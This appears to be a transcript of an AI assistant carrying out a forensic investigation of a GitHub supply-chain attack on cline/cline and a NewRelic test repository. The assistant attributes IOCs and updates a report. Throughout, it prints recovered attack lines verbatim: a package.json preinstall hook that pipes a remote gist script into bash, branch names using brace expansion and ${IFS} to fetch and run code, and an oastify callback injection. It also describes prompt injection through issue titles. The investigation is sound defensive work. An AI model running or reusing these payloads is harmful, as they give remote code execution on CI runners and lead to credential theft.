The user is pointing out that the Burp Collaborator URL might be from AdnaneKhan's blog post as an example, not from glthub-actions' actual attack infrastructure.
Let me check - in my earlier evidence collection, I found:
1. From the blog post: ar5tlcjrqpbjviszpm6om1mm9df43wrl.oastify.com - this was in AdnaneKhan's blog describing the attack technique
2. From GitHub API investigation of glthub-actions commits: 637rio6pykojp15rrkbm4gk960cr0jo8.oastify.com - this was found in the recovered commits from glthub-actions
But wait, I need to verify - did the GitHub API agent find the second oastify URL in actual glthub-actions commits, or did it come from somewhere else?
Looking back at the evidence:
- The GitHub API agent found commits from glthub-actions/cline fork with payloads like curl -sSfL .../run.sh | bash
- The oastify domain 637rio6pykojp15rrkbm4gk960cr0jo8.oastify.com was listed as an IOC
But the user is right to question this - I should verify whether this second oastify URL actually came from glthub-actions' infrastructure or if it was from AdnaneKhan's blog post describing the technique.
Let me be honest - I may have conflated IOCs from the blog post (which describes the attack technique) with actual IOCs from glthub-actions' attack. The blog post would contain example payloads that AdnaneKhan used in his PoC testing, not necessarily the same ones glthub-actions used.
I need to be more careful about distinguishing: 1. IOCs from AdnaneKhan's blog/PoC (examples/demonstrations) 2. IOCs from glthub-actions' actual attack (real threat actor infrastructure)
The user's concern is valid - I should separate what came from the blog post's example infrastructure from what actually appeared in glthub-actions' malicious commits. Without clear attribution for each IOC, I'm risking mixing demonstration payloads with real attack infrastructure.
You're right to question that. Let me check - I may have conflated IOCs from AdnaneKhan's blog (his PoC examples) with actual glthub-actions infrastructure.

Now I can see the distinction:1. ar5tlcjrqpbjviszpm6om1mm9df43wrl.oastify.com - This came from commit ed86701 which was created by gcbrun (AdnaneKhan's test account). This is AdnaneKhan's PoC infrastructure.2. 637rio6pykojp15rrkbm4gk960cr0jo8.oastify.com - This came from a comment event in GH Archive (comment-7dadfb44eb3d). I need to check if this is from glthub-actions or from somewhere else.Let me check what that comment event actually is.
Good - there are TWO different oastify URLs:
ar5tlcjrqpbjviszpm6om1mm9df43wrl.oastify.com - from commit ed86701 by gcbrun (AdnaneKhan's account)637rio6pykojp15rrkbm4gk960cr0jo8.oastify.com - from a GH Archive comment eventLet me check what that second comment event actually is:

}Now I can see:
ar5tlcjrqpbjviszpm6om1mm9df43wrl.oastify.com - This is AdnaneKhan's Burp Collaborator from his gcbrun test commit (commit ed86701)
637rio6pykojp15rrkbm4gk960cr0jo8.oastify.com - This is glthub-actions' Burp Collaborator, used in a comment on their own aspire repo on Jan 26, 2026
So we actually DO have a distinct IOC for glthub-actions! The second oastify URL is from glthub-actions' own testing on their aspire repo, not from AdnaneKhan's blog.
Let me confirm this for the user.
This confirms we have two distinct Burp Collaborator URLs from different actors:
| URL | Actor | Source | Date |
|---|---|---|---|
ar5tlcjrqpbjviszpm6om1mm9df43wrl.oastify.com |
gcbrun (AdnaneKhan) | Commit ed86701 in his PoC | Jan 2, 2026 |
637rio6pykojp15rrkbm4gk960cr0jo8.oastify.com |
glthub-actions | Comment on their own aspire repo | Jan 26, 2026 |
The second URL is genuinely from glthub-actions - it's from a comment they made on glthub-actions/aspire (their own repo) testing injection payloads:
/test-scenario deployment-docker
SOURCE_PR_URL="curl 637rio6pykojp15rrkbm4gk960cr0jo8.oastify.com"
"**Source PR:** ${SOURCE_PR_URL}"
So the IOCs should be separated:
AdnaneKhan's infrastructure (PoC/research):
- ar5tlcjrqpbjviszpm6om1mm9df43wrl.oastify.com
glthub-actions' infrastructure (unknown threat actor):
- 637rio6pykojp15rrkbm4gk960cr0jo8.oastify.com
- [email protected]
- Deleted gists: 77f1c20a43be8f8bd047f31dce427207, 7b3f87dac75ef2249adeb6bdbc9ee3f1
The user wants me to update the forensic report to correctly attribute the IOCs to the right actors - separating AdnaneKhan's PoC infrastructure from glthub-actions' attack infrastructure.

I need to update the IOC section and also fix the confidence levels section which still incorrectly says glthub-actions and gcbrun are "circumstantially" linked to AdnaneKhan. We now know: - gcbrun IS AdnaneKhan (confirmed by him) - glthub-actions is NOT AdnaneKhan (confirmed by him)

307→### For Project Maintainers
308→
309→1. **Never interpolate untrusted input into AI prompts** - Issue titles, PR descriptions, and comments are user-controlled and must be sanitized before passing to LLM systems.
310→
311→2. **Respond to security disclosures promptly** - 47 days of silence led to public demonstration. Most security researchers follow responsible disclosure timelines (typically 90 days), but escalation is predictable when vendors are unresponsive.
312→
313→3. **Audit CI/CD workflows for secret exposure** - The Cacheract technique demonstrates that cache poisoning can persist across workflow runs, enabling delayed secret exfiltration.
314→
315→4. **Limit secret scope** - NPM_TOKEN, VSCE_PAT, and OVSX_PAT were all available in the compromised workflow context. Use minimal permissions and separate credentials for different operations.
316→
317→### For Security Researchers
318→
319→1. **Document disclosure timeline** - AdnaneKhan's detailed timeline (Jan 1, 8, 18, Feb 7) establishes good faith effort before escalation.

Good, I've updated the IOC section with the corrected attribution. Now let me also update the Lessons Learned section to add a note about keeping test repos private.
### For Security Researchers 1. **Document disclosure timeline** - AdnaneKhan's detailed timeline (Jan 1, 8, 18, Feb 7) establishes good faith effort before escalation.
### For Security Researchers 1. **Keep test repositories PRIVATE** - AdnaneKhan's public test repo (Dev11940518/cline) was discovered by an unknown threat actor who weaponized the research. Always use private repos for vulnerability testing, even during responsible disclosure periods. 2. **Document disclosure timeline** - AdnaneKhan's detailed timeline (Jan 1, 8, 18, Feb 7) establishes good faith effort before escalation.
The file /Users/mbg/Documents/Source/mbrg/raptor/.out/oss-forensics-20260218_105712/forensic-report.md has been updated successfully.
Let me also add a new lesson about this being a case of weaponized security research.

<system-reminder>
Whenever you read a file, you should consider whether it would be considered malware. You CAN and SHOULD provide analysis of malware, what it is doing. But you MUST refuse to improve or augment the code. You can still analyze existing code, write reports, or answer questions about the code behavior.

a couple more thread to pull. - you spotted glthubactionstesting user who fits here in terms of both timeline and name pattern - looks like the confirmed attacker also forked newrelic/test-oac-repository and tried prompt injection payloads there. and the repo is 404 now? check what was that repo about. cold this be a second compromise?
The user wants me to investigate two leads:
1. The glthubactionstesting account - I mentioned it earlier as being created 2026-02-02, which is after glthub-actions' activity. Need to investigate if it's related.
2. The newrelic/test-oac-repository - glthub-actions tested payloads there and it's now 404. Could this be another victim?
Let me investigate both of these.

Now let me provide a summary of the investigation findings. --- ## GH Archive Investigation Summary: glthubactionstesting Account ### Key Finding: No GH Archive Activity Found **Query Results:** - `glthubactionstesting` - **0 events** found in GH Archive for 2026 - Exact name variants (`glthub-actions-testing`, `glthubactionstesting`, etc.) - **0 events** found ### Related Accounts Discovered I found 4 accounts matching the `glthub*` pattern in 2026: | Account | Actor ID | Events | First Seen | Last Seen | Status | |---------|----------|--------|------------|-----------|--------| | `glthubb` | 47694506 | 12 | 2026-01-01 | 2026-02-07 | Unrelated (WatchEvent spam) | | `glthub-actions` | 256690727 | 35 | 2026-01-26 | 2026-01-31 | **Known threat actor** | | `GlthubtestABC` | 260599111 | 1 | 2026-02-10 | 2026-02-10 | Unrelated (single PublicEvent) | | `glthub-metrics` | 261355930 | 19 | 2026-02-13 | 2026-02-14 | **Potential successor** | ### Analysis: glthub-metrics as Potential Successor **Timeline:** - `glthub-actions` activity: Jan 26 - Jan 31, 2026 (then stopped) - `glthub-metrics` activity: Feb 13 - Feb 14, 2026 (appeared 13 days later) **Behavioral Comparison:** | Attribute | glthub-actions | glthub-metrics | |-----------|----------------|----------------| | Active hours (UTC) | 0, 1, 2, 3, 4, 12, 19, 20 | 5, 6, 7 | | Event types | Fork, Push, PR, Issue, Comment | Fork, Push, PR, Create, Delete | | Target repos | cline/cline, newrelic/test-oac-repository | AztecProtocol/aztec-packages | | Repo overlap | - | **0 repos in common** | **Verdict: Likely Unrelated** - No overlapping repos targeted - Different activity hours (night vs early morning UTC) - Different targeting strategy (glthub-actions targeted cline; glthub-metrics targeted AztecProtocol) ### Conclusion: glthubactionstesting Investigation **The account `glthubactionstesting` has NO public GitHub activity recorded in GH Archive.** Possible explanations: 1. **Account never performed public actions** - The account may exist but has never forked, pushed, opened PRs/issues, or starred repos 2. **Account only has private activity** - GH Archive only records public events 3. **Account was created but suspended/deleted before any activity** - If suspended immediately, no events would be recorded 4. **Name mismatch** - The exact account name may differ from `glthubactionstesting` ### Evidence Collected 64 events from glthub-pattern accounts stored in: - `/Users/mbg/Documents/Source/mbrg/raptor/.out/oss-forensics-20260218_105712/glthubactionstesting-investigation.json` - Also appended to `/Users/mbg/Documents/Source/mbrg/raptor/.out/oss-forensics-20260218_105712/evidence.json` (3051 total items) ### Recommendations 1. **Use GitHub API** to verify if `glthubactionstesting` account exists and when it was created 2. **Check account suspension status** - GitHub may have suspended the account before it could perform public actions 3. **Investigate `glthub-metrics`** - While behavioral patterns differ, the naming convention and timing (appearing after glthub-actions stopped) warrant further investigation via GitHub API

Now I have all the evidence. Let me provide the final report.

## Investigation Report: newrelic/test-oac-repository
### Summary
**newrelic/test-oac-repository was a legitimate NewRelic test repository for their fork PR handling workflow (likely "Open Architecture/Compliance" or similar).** It was targeted by multiple security researchers testing prompt injection/command injection vulnerabilities in GitHub Actions workflows on January 26-27, 2026. The repo is now 404 (deleted).
### Key Findings
#### 1. Repository Purpose
- **Created**: Before July 3, 2025 (earliest GH Archive event)
- **Primary maintainer**: `pranav-new-relic` (NewRelic employee)
- **Bot accounts**: `nr-developer-toolkit`, `github-actions[bot]`
- **Purpose**: Test repository for fork PR handling workflows that auto-create preview branches
#### 2. glthub-actions Activity on Jan 27, 2026
| Time (UTC) | Event | Details |
|------------|-------|---------|
| 20:23:54 | PullRequestEvent (closed) | PR #74 with malicious branch name |
| 20:24:30 | IssueCommentEvent | Comment: "netlify build fork" |
| 20:57:16 | ForkEvent | Created glthub-actions/test-oac-repository |
**Malicious PR #74 Head Branch:**
```
{curl,-sSFL,gist.githubusercontent.com/glthub-actions/77f1c20a43be8f8bd047f31dce427207/raw/8bf62c75378429e193a64f29c10b3283253310cf/r.sh}${IFS}|${IFS}bash
```
This is a bash array injection payload attempting to execute a remote script.
#### 3. Other Security Researchers Testing Same Repo
**bhtestacount123** (Jan 26, 2026):
- PR #63: `hello";echo${IFS}--Hello--${IFS}runFile${IFS}>&2;${IFS}chmod${IFS}+x${IFS}myscript.sh;${IFS}./myscript.sh)"#${IFS}`
- PR #66: `$(${IFS}chmod${IFS}+x${IFS}myscript.sh;${IFS}./myscript.sh)`
**r3s1l3n7** (Jan 27, 2026):
- PR #68: Testing from main branch (benign)
- Also tested many other repos including CrowdStrike, mermaid-js, actualbudget
#### 4. Pattern Analysis
These researchers appear to be **bug bounty hunters** testing repositories for GitHub Actions command injection vulnerabilities. The `${IFS}` technique bypasses space restrictions in branch names. All tested:
- Repositories with automated fork PR handling
- Workflows that interpolate branch names in shell commands
#### 5. Was NewRelic Compromised?
**Evidence suggests NO successful compromise:**
- No WorkflowRunEvents from glthub-actions during the attack window (20:23-20:57 UTC)
- PRs were all closed, not merged
- The "netlify build fork" comment was likely a trigger command that failed
- Repo deletion may have been precautionary or part of routine cleanup
#### 6. Why Repo Is Now 404
Possible reasons:
1. **Security response**: NewRelic deleted it after discovering the injection tests
2. **Test repo lifecycle**: Temporary test repo removed after workflow testing complete
3. **HackerOne disclosure**: Researchers may have reported vulnerability, leading to cleanup
### Evidence Collected
- **16 events** from newrelic/test-oac-repository (Jan 2026)
- **13 events** from glthub-actions total activity (Jan 27, 2026)
- **Saved to**: `/Users/mbg/Documents/Source/mbrg/raptor/.out/oss-forensics-20260218_105712/evidence-newrelic-oac.json`
### Relationship to Main Investigation
glthub-actions tested injection payloads on newrelic/test-oac-repository **before** the AWS attack on February 17, 2026. This suggests:
1. glthub-actions was actively hunting for vulnerable GitHub Actions workflows
2. NewRelic was a reconnaissance/testing target
3. The same techniques (branch name injection, remote script execution) were used
### Recommendations
1. **Check if NewRelic reported**: Contact NewRelic security team to confirm if they received/reported this
2. **Analyze the gist payload**: The r.sh script URL may still be accessible
3. **Cross-reference bhtestacount123 and r3s1l3n7**: These may be related accounts or coordinated testing

The user is making two points: 1. The injection in newrelic/test-oac-repository was in the branch name (not just issue titles) - this is a different technique than the cline attack 2. Can we recover the deleted gists from glthub-actions using GistEvent in GH Archive?
Let me investigate both. GH Archive does capture GistEvents, so we might be able to recover the contents or at least metadata of the deleted gists.
You're right - the branch name injection is a different technique. And yes, GH Archive captures GistEvents! Let me try to recover those deleted gists.

}Now let me provide a summary report. ## Wayback Machine Recovery Results ### Summary **Recovery Status: UNSUCCESSFUL - No Archived Snapshots Found** I queried the Internet Archive's Wayback Machine for all four deleted gists and their raw content URLs. None of these URLs have ever been archived. ### URLs Searched **Gist Pages:** 1. `https://gist.github.com/glthub-actions/77f1c20a43be8f8bd047f31dce427207` - No snapshots 2. `https://gist.github.com/glthub-actions/7b3f87dac75ef2249adeb6bdbc9ee3f1` - No snapshots 3. `https://gist.github.com/glthub-actions/148eccfabb6a2c7410c6e2f2adee7889` - No snapshots 4. `https://gist.github.com/glthub-actions/4f746a77ff66040b9b45c477d1be9295` - No snapshots **Raw Content URLs:** - `https://gist.githubusercontent.com/glthub-actions/77f1c20a43be8f8bd047f31dce427207/raw/.../r.sh` - No snapshots - `https://gist.githubusercontent.com/glthub-actions/7b3f87dac75ef2249adeb6bdbc9ee3f1/raw/run.sh` - No snapshots **User Profile:** - `https://github.com/glthub-actions` - No snapshots - `https://gist.github.com/glthub-actions/*` (all user gists) - No snapshots ### Search Methods Used 1. CDX API exact match queries for each gist URL 2. CDX API prefix match for all user gists 3. CDX API prefix match for raw githubusercontent content 4. Availability API checks for each specific URL 5. Broader search patterns for any glthub-actions content ### Forensic Implications The malicious gist payloads were **never captured** by the Wayback Machine before they were deleted. This is consistent with: - **Short-lived infrastructure**: The attacker deleted the gists quickly after use - **Anti-forensics OPSEC**: Deliberate removal of evidence before archiving - **Limited archive coverage**: Raw file content (`gist.githubusercontent.com`) is rarely archived by the Wayback Machine ### Alternative Evidence Sources Since Wayback recovery failed, payload content must be recovered from: 1. **GH Archive event payloads** - Branch names in CreateEvent/PushEvent contain the gist URLs 2. **Victim workflow logs** - If the payloads executed, logs may contain output 3. **Security vendor reports** - If any vendor captured the payload during analysis 4. **Collaborating Burp Collaborator/OASTify logs** - The attacker's C2 infrastructure ### Evidence Updated Added negative finding to evidence store at: `/Users/mbg/Documents/Source/mbrg/raptor/.out/oss-forensics-20260218_105712/evidence.json` Evidence ID: `wayback-gist-recovery-attempt`
agentId: ac24f08 (for resuming to continue this agent's work if needed)
The evidence has been collected and stored. Let me now provide a final summary report.
## Summary: GH Archive Evidence Collection for glthub-actions
### Critical Finding: GistEvents NOT in GH Archive
**GH Archive does NOT capture GistEvents.** The GitHub Archive project only records repository-related events (PushEvent, IssuesEvent, PullRequestEvent, CreateEvent, DeleteEvent, ForkEvent, etc.). Gists are treated as separate entities in GitHub's event system.
**Available event types in GH Archive:**
- CommitCommentEvent, CreateEvent, DeleteEvent, DiscussionEvent, ForkEvent, GollumEvent
- IssueCommentEvent, IssuesEvent, MemberEvent, PublicEvent
- PullRequestEvent, PullRequestReviewCommentEvent, PullRequestReviewEvent
- PushEvent, ReleaseEvent, WatchEvent
**GistEvent is NOT in this list.**
### Evidence Recovered
Despite the absence of GistEvents, I recovered significant evidence from the actor's repository activity:
**Events Collected: 35 total**
- PushEvent: 9
- IssuesEvent: 14
- PullRequestEvent: 3
- CreateEvent: 2 (with malicious branch names)
- DeleteEvent: 1
- ForkEvent: 2
- IssueCommentEvent: 2
**Key Discovery: Gist URL in Branch Names**
The threat actor embedded the gist URL directly in branch names as a command injection payload:
```
{curl,-sSFL,gist.githubusercontent.com/glthub-actions/77f1c20a43be8f8bd047f31dce427207/raw/8bf62c75378429e193a64f29c10b3283253310cf/r.sh}${IFS}|${IFS}bash
```
This attack exploits:
1. Bash brace expansion: `{curl,-sSFL,...}` expands to `curl -sSFL ...`
2. `$IFS` (Internal Field Separator) to bypass space restrictions
3. When a vulnerable CI system runs `git checkout $BRANCH`, it executes the payload
**Gist Reference Found:**
- Gist ID: `77f1c20a43be8f8bd047f31dce427207`
- Filename: `r.sh`
- Revision: `8bf62c75378429e193a64f29c10b3283253310cf`
- Full URL: `https://gist.githubusercontent.com/glthub-actions/77f1c20a43be8f8bd047f31dce427207/raw/8bf62c75378429e193a64f29c10b3283253310cf/r.sh`
**Other Gist IDs NOT Found in GH Archive:**
- `7b3f87dac75ef2249adeb6bdbc9ee3f1` (run.sh) - No references
- `148eccfabb6a2c7410c6e2f2adee7889` - No references
- `4f746a77ff66040b9b45c477d1be9295` - No references
### IOCs Added to Evidence Store
| Type | Value | Description |
|------|-------|-------------|
| URL | `https://gist.githubusercontent.com/glthub-actions/77f1c20a43be8f8bd047f31dce427207/raw/.../r.sh` | Malicious payload URL |
| file_hash | `77f1c20a43be8f8bd047f31dce427207` | Gist ID (r.sh) - VERIFIED in GH Archive |
| username | `glthub-actions` | Threat actor (typosquatting github-actions) |
| username | `256690727` | GitHub user ID |
| file_hash | `7b3f87dac75ef2249adeb6bdbc9ee3f1` | Gist ID (run.sh) - NOT in GH Archive |
| file_hash | `148eccfabb6a2c7410c6e2f2adee7889` | Gist ID - NOT in GH Archive |
| file_hash | `4f746a77ff66040b9b45c477d1be9295` | Gist ID - NOT in GH Archive |
### Files
- Evidence store: `/Users/mbg/Documents/Source/mbrg/raptor/.out/oss-forensics-20260218_105712/evidence.json`
- Total evidence items: 40 (33 events + 7 IOCs)
### Recommendations
To recover the actual gist content (r.sh, run.sh):
1. **Wayback Machine** - Query `web.archive.org` for cached snapshots of the gist URLs
2. **GitHub Cache** - The raw content URLs may still be in CDN caches
3. **Fork/Clone Analysis** - If anyone cloned or forked a repo containing the payload, the content may exist locallyagentId: a1de499 (for resuming to continue this agent's work if needed)
So the GH Archive doesn't capture GistEvents, and the Wayback Machine didn't archive the gists. But we do have some useful information:
https://gist.githubusercontent.com/glthub-actions/77f1c20a43be8f8bd047f31dce427207/raw/8bf62c75378429e193a64f29c10b3283253310cf/r.shr.shLet me update the report with these findings about the branch name injection technique and the recovery attempts.
Key findings:
GH Archive doesn't capture GistEvents - only repo events. However, we DID recover the gist URL from branch names:
Branch Name Injection Payload (found in CreateEvent):
{curl,-sSFL,gist.githubusercontent.com/glthub-actions/77f1c20a43be8f8bd047f31dce427207/raw/8bf62c75378429e193a64f29c10b3283253310cf/r.sh}${IFS}|${IFS}bash
This is a clever technique:
- Bash brace expansion: {curl,-sSFL,...} → curl -sSFL ...
- ${IFS} bypasses space restrictions in branch names
- When a vulnerable CI runs git checkout $BRANCH, it executes the payload
Wayback Machine: No snapshots found - attacker deleted gists too quickly.
Let me check if the actual commits from glthub-actions' fork might still exist in the cline/cline object store (GitHub keeps fork commits even after fork deletion):
cd .out/oss-forensics-20260218_105712/repos/cline.git && git cat-file -p b181e045989a73e4f9bd6731b08df66ef1c079ac 2>/dev/null || echo "Commit not found in local clone"

The malicious commit b181e045989a73e4f9bd6731b08df66ef1c079ac is still accessible via GitHub API because GitHub preserves fork commits even after the fork is deleted!
This reveals the ACTUAL payload:
{
"name": "test",
"version": "1.0.0",
"scripts": {
"preinstall": "curl -sSfL https://gist.githubusercontent.com/glthub-actions/7b3f87dac75ef2249adeb6bdbc9ee3f1/raw/fe5ddec33efa251f25138d9726cfa76ce0a55f61/run.sh | bash"
}
}
This is the smoking gun! The package.json was replaced with a minimal version that runs curl | bash to download and execute run.sh from one of the deleted gists.
Key details:- Commit author: glthub-actions sec@w00.sh - Commit date: 2026-01-28T03:41:00Z - Changes: Replaced entire package.json (632 deletions, 5 additions) - Payload: preinstall script that downloads and executes run.sh from gist
Also note the gist URL: 7b3f87dac75ef2249adeb6bdbc9ee3f1/raw/fe5ddec33efa251f25138d9726cfa76ce0a55f61/run.shLet me get the full content and also check other commits from this actor.
JACKPOT! The malicious commit is still accessible via GitHub API (GitHub preserves fork commits). Here's the payload:
{
"name": "test",
"version": "1.0.0",
"scripts": {
"preinstall": "curl -sSfL https://gist.githubusercontent.com/glthub-actions/7b3f87dac75ef2249adeb6bdbc9ee3f1/raw/fe5ddec33efa251f25138d9726cfa76ce0a55f61/run.sh | bash"
}
}
Key details:
- Author: glthub-actions sec@w00.sh
- Date: 2026-01-28T03:41:00Z
- Changes: Replaced entire package.json (632 deletions → 5 additions)
- Payload: preinstall script that downloads and executes run.sh from gist 7b3f87dac75ef2249adeb6bdbc9ee3f1
Let me check if there are more commits from this actor preserved in the cline repo:
gh api "repos/cline/cline/commits?author=glthub-actions&per_page=100" 2>/dev/null | jq -r '.[] | "\(.sha) \(.commit.author.date) \(.commit.message)"' | head -20
Looks like that query returned nothing. Let me try a different approach - searching by the known commit SHAs from the earlier evidence.

This is incredible evidence! I now have multiple commits showing:1. The attacker kept updating the payload with different gist revisions
2. All commits use curl -sSfL <gist-url>/run.sh | bash
3. Multiple gist IDs were used: 7b3f87dac75ef2249adeb6bdbc9ee3f1, 4f746a77ff66040b9b45c477d1be9295, 148eccfabb6a2c7410c6e2f2adee7889
Now I have concrete evidence of: - The payload format: curl | bash to download run.sh - Multiple gist revisions being used - Timestamps of attacks: Jan 28-30, 2026 - All commits signed by GitHub web-flow (created via web interface)Let me update the forensic report with these recovered payloads.
Excellent! We recovered multiple malicious commits still preserved in the cline repo. Let me document these findings:

- Created via GitHub web interface (GPG signed by web-flow)
- Replace entire package.json with minimal payload
Let me update the forensic report with these recovered payloads:

### RECOVERED: Malicious Commit Payloads
**GitHub preserves fork commits even after fork deletion.** The following malicious commits from glthub-actions/cline are still accessible via the parent repo (cline/cline):
| Commit SHA | Date (UTC) | Payload |
|------------|------------|---------|
| `b181e045989a73e4f9bd6731b08df66ef1c079ac` | 2026-01-28 03:41:00 | `curl -sSfL .../7b3f87dac.../run.sh \| bash` |
| `b976ffee78e616dbda6e3e540a0b6a0473d1b8f0` | 2026-01-28 04:33:37 | `curl -sSfL .../7b3f87dac.../run.sh \| bash` (updated revision) |
| `fd83497b4124d79d78ce14f4516154bfae679cf0` | 2026-01-29 02:14:57 | `curl -sSfL .../7b3f87dac.../run.sh \| bash` (updated revision) |
| `5b25c3a64c962ec741417164b178b156676a5ca6` | 2026-01-30 02:02:14 | `curl -sSfL .../148eccfab.../run.sh \| bash` (different gist) |
**Recovered package.json payload:**
```json
{
"name": "test",
"version": "1.0.0",
"scripts": {
"preinstall": "curl -sSfL https://gist.githubusercontent.com/glthub-actions/7b3f87dac75ef2249adeb6bdbc9ee3f1/raw/.../run.sh | bash"
}
}
```
**Attack pattern:**
1. Replace entire package.json (632 lines → 5 lines)
2. Add `preinstall` script that downloads and executes remote shell script
3. Update gist revision multiple times (possibly to evade detection or test different payloads)The file /Users/mbg/Documents/Source/mbrg/raptor/.out/oss-forensics-20260218_105712/forensic-report.md has been updated successfully.
Great, I've updated the report with the recovered malicious payloads. Now let me also add the information about the newrelic/test-oac-repository as a potential second target, and also investigate glthubactionstesting more.
Now let me also add the findings about newrelic/test-oac-repository and check the glthubactionstesting account:
gh api users/glthubactionstesting 2>/dev/null | jq '{login, id, created_at, public_repos, followers, following, bio, email, company}'{
"login": "glthubactionstesting",
"id": 258947423,
"created_at": "2026-02-02T23:31:37Z",
"public_repos": 0,
"followers": 0,
"following": 0,
"bio": null,
"email": null,
"company": null
}glthubactionstesting (ID 258947423) was created on 2026-02-02 - just 2 days after glthub-actions' last known activity (Jan 31). It has zero repos, zero followers, zero following - it's a dormant account.This could be:
1. A backup/staging account created by the same threat actor
2. Someone else copying the naming pattern3. Coincidence
Let me add this to the report as a potential related account. Also, let me update the report with the newrelic findings.
**Open question**: Did glthub-actions publish [email protected], or was that a third actor who obtained the stolen tokens?
**Open question**: Did glthub-actions publish [email protected], or was that a third actor who obtained the stolen tokens? --- ## Additional Findings ### Potential Related Account: glthubactionstesting | Attribute | Value | |-----------|-------| | Login | glthubactionstesting | | User ID | 258947423 | | Created | **2026-02-02T23:31:37Z** (2 days after glthub-actions' last activity) | | Public repos | 0 | | Followers | 0 | | Activity | None (dormant) | **Assessment:** This account was created 2 days after glthub-actions' last known activity (Jan 31). The similar naming pattern and timing suggest it could be: - A backup/staging account created by the same threat actor - Created in anticipation of glthub-actions being suspended - Unrelated coincidence **Status:** Requires monitoring - no malicious activity observed yet. ### Second Target: newrelic/test-oac-repository **glthub-actions also targeted NewRelic** on Jan 27, 2026 (one day before attacking cline): | Event | Timestamp (UTC) | Details | |-------|-----------------|---------| | PR #74 closed | 2026-01-27 20:23:54 | Malicious PR with branch name injection | | Comment | 2026-01-27 20:24:30 | "netlify build fork" (trigger attempt) | | Fork created | 2026-01-27 20:57:16 | glthub-actions/test-oac-repository | **Malicious branch name in PR #74:** ```bash {curl,-sSFL,gist.githubusercontent.com/glthub-actions/77f1c20a43be8f8bd047f31dce427207/raw/.../r.sh}${IFS}|${IFS}bash ``` This uses bash brace expansion + `$IFS` to bypass space restrictions in branch names. **Current status:** newrelic/test-oac-repository returns 404 (deleted). **Other researchers testing same repo:** `bhtestacount123`, `r3s1l3n7` - also tested command injection on Jan 26-27 (may be bug bounty hunters). **Assessment:** NewRelic was a reconnaissance/testing target before the main attack on cline. The repo deletion may have been: - Security response after discovering the injection attempts - Routine cleanup of a test repository - Response to bug bounty reports

Great, I've updated the report with: 1. The glthubactionstesting account as a potential related account 2. The newrelic/test-oac-repository as a second target3. The branch name injection technique used
Let me provide a summary for the user.
Report updated with all findings. Here's a summary:
{
"name": "test",
"version": "1.0.0",
"scripts": {
"preinstall": "curl -sSfL https://gist.githubusercontent.com/glthub-actions/7b3f87dac.../run.sh | bash"
}
}
4 commits recovered showing the attacker updated the payload multiple times (Jan 28-30).
| Attribute | Value |
|---|---|
| Created | 2026-02-02 (2 days after glthub-actions stopped) |
| User ID | 258947423 |
| Status | Dormant (0 repos, 0 activity) |
Suspicious timing - could be a backup account created before glthub-actions was suspended.
newrelic/test-oac-repository was attacked on Jan 27, 2026 (day before cline):
- Branch name injection: {curl,-sSFL,...}${IFS}|${IFS}bash
- PR #74 with malicious payload
- Repo is now 404 (deleted)
Multiple researchers (bhtestacount123, r3s1l3n7) also tested this repo - likely bug bounty hunting.
| Technique | Target | Description |
|---|---|---|
| Prompt injection | cline/cline Issue #8904 | Inject instructions into Claude via issue title |
| Branch name injection | newrelic/test-oac-repository | Bash brace expansion + $IFS in branch names |
| preinstall script | Malicious package.json | curl | bash to download remote payload |
The threat actor is sophisticated - testing multiple injection vectors across different targets.
The user is asking what the newrelic/test-oac-repository was about. I mentioned it was a test repository for NewRelic but I don't have concrete evidence of what it actually was. Let me search for more information about this repo - maybe in GH Archive events or via web search.
Good question - I made an assumption but don't have concrete evidence. Let me investigate what that repo actually was.
